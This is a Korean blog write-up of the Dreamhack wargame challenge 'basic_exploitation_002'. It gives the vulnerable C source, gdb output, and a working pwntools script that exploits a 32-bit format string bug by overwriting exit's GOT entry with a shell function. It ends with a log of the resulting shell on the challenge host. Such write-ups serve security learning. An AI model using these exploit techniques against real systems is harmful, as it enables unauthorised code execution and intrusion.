Wargame/Dreamhack

basic_exploitation_002

wyv3rn 2022. 7. 30. 21:48
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

32 bit format string bug 문제이다.

가장 쉬운 방법은 사실 pwntools에서 이를 지원해주기에 한방에 해결하는 방법.

offset과 덮어씌울 함수 주소, 실행할 함수 주소만 알면 된다.

본 문제에서는 exit 함수가 취약점 뒤에 실행되며, 쉘을 실행해주는 get_shell 함수가 있기에 아래와 같이 쉽게 해결할 수 있다.

우선 위에서 말한 3가지 값을 구해보면 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ ./basic_exploitation_002 
AAAA%p%p%p%p%p%p%p            
AAAA0x414141410x702570250x702570250x702570250xa7025(nil)(nil)

┌──(kali㉿kali)-[~/Downloads]
└─$ gdb basic_exploitation_002
gef➤  p exit
$1 = {<text variable, no debug info>} 0x8048470 <exit@plt>
gef➤  x/i 0x8048470
   0x8048470 <exit@plt>:        jmp    *0x804a024
gef➤  x/i 0x804a024
   0x804a024 <exit@got.plt>:    jbe    0x8049faa
gef➤  q
gef➤  p get_shell
$1 = {<text variable, no debug info>} 0x8048609 <get_shell>

사실 이렇게 구할 필요도 없는게 pwntools의 ELF를 사용하면 된다.

from pwn import *

p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
exit_got=e.got['exit']
get_shell=e.symbols['get_shell']

pay = fmtstr_payload(1,{exit_got:get_shell})

p.send(pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python test.py
[+] Opening connection to host3.dreamhack.games on port 23563: Done
[*] '/home/kali/Downloads/basic_exploitation_002'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
       %9
       na'\xa0\x04$\xa0\x04%\xa0\x04/$ id
uid=1000(basic_exploitation_002) gid=1000(basic_exploitation_002) groups=1000(basic_exploitation_002)
$ cat flag
DH{----------#플래그는 삭제}[

이렇게 할 수 있는 이유는 format string bug는 공식에 의해서 풀 수 있기 때문이다.

728x90
반응형